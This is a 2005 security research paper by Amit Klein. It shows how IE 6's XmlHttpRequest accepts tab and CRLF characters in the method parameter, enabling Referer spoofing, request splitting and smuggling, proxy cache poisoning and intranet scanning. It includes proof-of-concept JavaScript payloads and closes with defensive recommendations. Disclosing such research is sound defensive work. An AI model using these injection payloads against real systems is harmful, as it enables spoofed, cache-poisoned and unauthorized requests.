"Exploiting the XmlHttpRequest object in IE" - paper by Amit Klein
Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
and a lot more...
Amit Klein, September 2005
Preface
=======
This paper is released in a bit of haste, and as such, it may be
somewhat incomplete. The reason is that I was toying with the
concepts and techniques outlined in it for the past few weeks.
Then, a day before yesterday, Mozilla released Firefox 1.0.7 which
fixes a security problem (reported by Tim Altman and Yutaka Oiwa,
independently) very similar to what I discuss, and sharing some
concepts with it:
http://www.mozilla.org/security/announce/mfsa2005-58.html#xmlhttp
Since the cat is now out of the bag, I decided to quickly finalize
my research and paper (which were done independently, but alas too
late...) and provide it to the public.
Introduction
============
XmlHttpRequest is a Javascript object that allows a client side
Javascript code to send almost raw HTTP requests to the origin host
and to access the response's body in raw form. As such,
XmlHttpRequest is a core component of AJAX.
It seems that the same origin security policy ensures that the
power of XmlHttpRequest is only used in a secure manner (after all,
if the Javascript code can only access the server it originated
from, then what harm can be done, except for XSS conditions), but
this is not so. In fact, about 2.5 years ago I noticed a problem in
XmlHttpRequest's implementation in IE - IE doesn't validate some
critical fields that are provided by the user [1]. Back at that
time, the attack vector was through an XSS condition, but the basic
flaw (and other, related flaws) renders itself nicely to other
conditions, which we'll see below.
The techniques discussed below allows the attacker (given the right
conditions) to perform:
* Referer spoofing (for leeching and for complete client-side
MITM attack)
* HTTP Request Smuggling [5], HTTP Response Splitting [6] and
Web cache poisoning (see [5] and [6] for details)
* Accessing content / web-scanning
Note that Referer is considered (for some reason) to be a good way
of validating that a browser-using non-malicious client is
interacting with the site in the "expected" manner, i.e. not via
CSRF or embedded frame. Referer validation is suggested in [3] to
prevent CSRF, and in several other sources as a way to prevent
leeching (linking to images in other sites). In this paper, I prove
that given some conditions, the Referer can be completely spoofed
at the client side, and that pages and images can be successfully
pulled and displayed using a spoofed Referer (in some scenarios).
As such, using the Referer can no longer be considered a security
measure, at least not in HTTP requests (as opposed to HTTPS/SSL).
Basic technique - retrieving a page with a spoofed Referer
==========================================================
The attacker's website is www.attacker.site, the target website is
www.target.site.
The assumption is that the client uses a (cache) forward proxy
server (not all proxy servers can be used, see discussion below),
OR that the www.attacker.site and www.target.site are virtually
hosted on the same IP address.
The client downloads a page from www.attacker.site. This page
contains a Javascript code the mounts the attack. The Javascript
code exploits the XmlHttpRequest object to mount the attack.
I first demonstrate how a Referer can be spoofed.
Here's a Javascript code (in the www.attacker.site domain) that can
be used with IE (henceforth, all examples pertain to IE 6.0 SP2) to
send a valid Referer and read the page's contents (we assume that
the browser uses a forward proxy server):
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
Notice the use of HT (Horizontal Tab, ASCII 0x09) instead of SP
(Space, ASCII 0x20) in the HTTP request line. This is clearly not
allowed by the HTTP/1.1 RFC (see [2] section 5.1), yet many proxy
servers I toyed with allow this syntax, and moreover, will convert
HT to SP in the outgoing request (so the web server will have no
idea that HTs were used).
Some proxy servers that allow HT as a separator in the request line
are:
- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0
Also notice the HTTP Request Splitting (Ory - this is for you...)
condition that occurs here. The attacker forces the browser to send
2 HTTP requests where it intended to send one. This splitting
technique is exploited in [3] as part of the HTTP headers (as
opposed to the method parameter we exploit here).
If the browser does not use a forward proxy server, and
www.target.site and www.attacker.site are virtually hosted in the
same IP, then the following variant may be used:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\t
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET
\t/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
The net result is that two requests are sent to the server, and the
response from the first one is returned by the browser to the
XmlHttpRequest object. The code can then embed the returned page in
the window's html (e.g. document.body.innerHTML=...). Note that the
malicious Javascript code can first scan the returned page and
manipulate it, e.g. remove security checks such as "if
(top.location!='http://www.target.site/...')".
The problem with images, and how it can be solved
=================================================
The XmlHttpRequest object is suitable for retrieving textual
documents, such as HTML andd XML pages. However, it is not so
useful for retrieving binary data, such as images. To begin with,
in IE, XmlHttpRequest seems to trim the data it returns (via the
responseText/responseBody methods) at the first null byte. Even if
One can work around this (and this may perhaps be possible if one
sends a Range header to skip the null bytes, yet this method is
extremely bandwidth and time consuming, to the point that it's
totally impractical), one doesn't really have anything useful to do
with the image data - there's no way I know of to tell IE to render
data as an image (it seems that the "data:" scheme in OBJECT and
IMG tags is not implemented in IE).
In this case, one needs to take a different approach. The following
will only work when the browser uses a *caching* forward proxy
server, and the image is cacheable by the proxy server.
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.target.site/image.gif\tHTTP/1.0\r\nHo
st:\twww.target.site\r\nReferer:\thttp://www.target.site/some
path?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP/1.0\r\nFo
obar:","http://www.attacker.site/",false);
x.send();
document.write("<img
src='http://www.target.site/image.gif'>");
The request through the XmlHttpRequest object will be to
http://www.target.site/image.gif, and as such will be forwarded to
www.target.site (with the Referer being
http://www.target.site/somepath?somequery). Later, the browser
would parse the IMG tag and send a request to
http://www.target.site/image.gif, with a Referer
"http://www.attacker.site/...";. However, the cache server already
has http://www.target.site/image.gif cached, and it will therefore
return the cached object, and will not forward any request to
www.target.site. The net result is a single hit on www.target.site
with a correct Referer.
By this I have completed the demonstration of how MITM websites
can be constructed at the client side, using a correct Referer to
fetch the original content.
Notes
-----
1. As can be appreciated, the same technique can be used to
perform "scanning" (CGI scanning and web scanning) on various
targets - be they public servers or intranet servers. This
technique works only if the browser uses a proxy server (not
necessarily caching). Note that it's always possible to force
a browser to send a request to any server, a-la CSRF ([3]),
but in our case, the response is available to the malicious
script, which is not the case with CSRF.
2. Likewise, the technique can be used to access materials on
non-public (intranet) servers. In fact, this vector is
mentioned in [4].
3. In all cases, it is important to note that from the browser's
perspective, the requests are sent to the www.attacker.site,
in the attacker.site domain. As such, the browser will not
append cookies or authentication information belonging to
www.target.site to those requests, nor will it grant access
to the target.site to any scripts found in the responses.
Therefore, this attack is not XSS.
4. The victim (human being) may interact with the MITM website,
disclosing information as the interaction proceeds. One way
to limit this from happening is (assuming cookies are used to
maintain a session) to explicitly set the cookie's
domain/host, and use the HTTP Set-Cookie response header
(rather than the META tag or Javascript). Since
XmlHttpRequest does not grant access to the response headers,
this cookie cannot be read, and from the browser's
perspective, the domain is www.attacker.site, those cookies
will not be appended to outgoing requests.
Request Smuggling and Response Splitting
========================================
This discussion is limited to browsers with forward proxy servers.
Until now, we demonstrated how splitting the request in
XmlHttpRequest results in a first request that is completely under
the attacker's control (up to having to use HT instead of SP). The
attacker then used in some way the first response (either directly,
or because it was cached by the proxy server).
However, it is possible to take this technique a step further, and
inject 2-3 requests (on which the attacker has full control). This
allows the attacker to perform attacks such as HTTP Request
Smuggling, and HTTP Response Splitting. Note that in order to carry
those out, there's a need to fully control some caching directives
in the requests.
I also ignored an interesting issue, which is the second request
and the second response. There are two options:
1. The attacker may like the second request to (gracefully)
terminate the TCP connection. In this case, the
XmlHttpRequest object will ignore the second response, and it
will simply "get lost" because the TCP connection is
terminated. This is desired for the Referer spoofing
techniques discussed above.
2. The attacker may like to keep the TCP connection alive, and
to take the requests and responses out of sync (a-la HTTP
Request Smuggling). This may enable the attacker to conduct
various cross-domain attacks (XSS), and this is in fact
demonstrated for Firefox in [4] (but I haven't tested it on
IE). It may also aid in retrieving images with a proper
Referer, in case the proxy server does not cache the objects
that pass through it, or in case the images are not
cacheable.
Mozilla/FireFox
===============
I focused mainly on IE (tested IE 6.0 and 6.0 SP2), so I don't have
a lot of results on Mozilla/FireFox. I suspect it is vulnerable to
the same technique, possibly even more so since I suspect it allows
SP in the method parameter.
Conclusions
===========
- In some cases, the Referer header can be completely spoofed
(at the client side).
- Even when the request looks genuine, the browser may have
emitted it from the "wrong" domain.
Recommendations
===============
Site owners
-----------
- Use SSL (as always).
- Do not use virtual hosting with other, non-trustable domains.
- Don't rely on client side code to prevent cloning/MITM - the
attacker may scan and remove this code.
- Don't rely on Referer.
- Set explicit host/domain in cookie, and verify that the
cookie is sent back, as early as possible (ideally before
sensitive data is requested from the user).
Vendors
-------
- Microsoft is encouraged to filter HT, CR and LF in the method
parameter (HT filtering was recommended in [1] 2.5 years
ago). Other browser vendors are encouraged to check whether
their implementation is vulnerable.
- Proxy server vendors are encouraged not to allow raw HT in
the request line.
References
==========
[1] "XS(T) attack variants which ca, in some cases, eliminate the
need for TRACE", Amit Klein, WebAppSec mailing list submission,
January 26th, 2003
http://www.securityfocus.com/archive/107/308433
[2] "Cross-Site Request Forgeries", Peter W[atkins?], June 13th,
2001
http://www.tux.org/~peterw/csrf.txt
[3] "Hyper Text Transfer Protocol - HTTP/1.1" (RFC 2616),
http://www.ietf.org/rfc/rfc2616.txt
[4] "setRequestHeader can be exploited using newline characters",
Bugzilla bug 297078
https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and
"XMLHttpRequest allows dangerous request headers to be set",
Bugzilla bug 302263
https://bugzilla.mozilla.org/show_bug.cgi?id=302263
[5] "HTTP Request Smuggling", Chaim Linhart, Amit Klein, Ronen
Heled, Steve Orrin.
http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf
[6] "Divide and Conquer - HTTP Response Splitting, web Cache
poisoning and Related Topics", Amit Klein.
http://www.packetstormsecurity.org/papers/general/whitepaper_httpre
sponse.pdf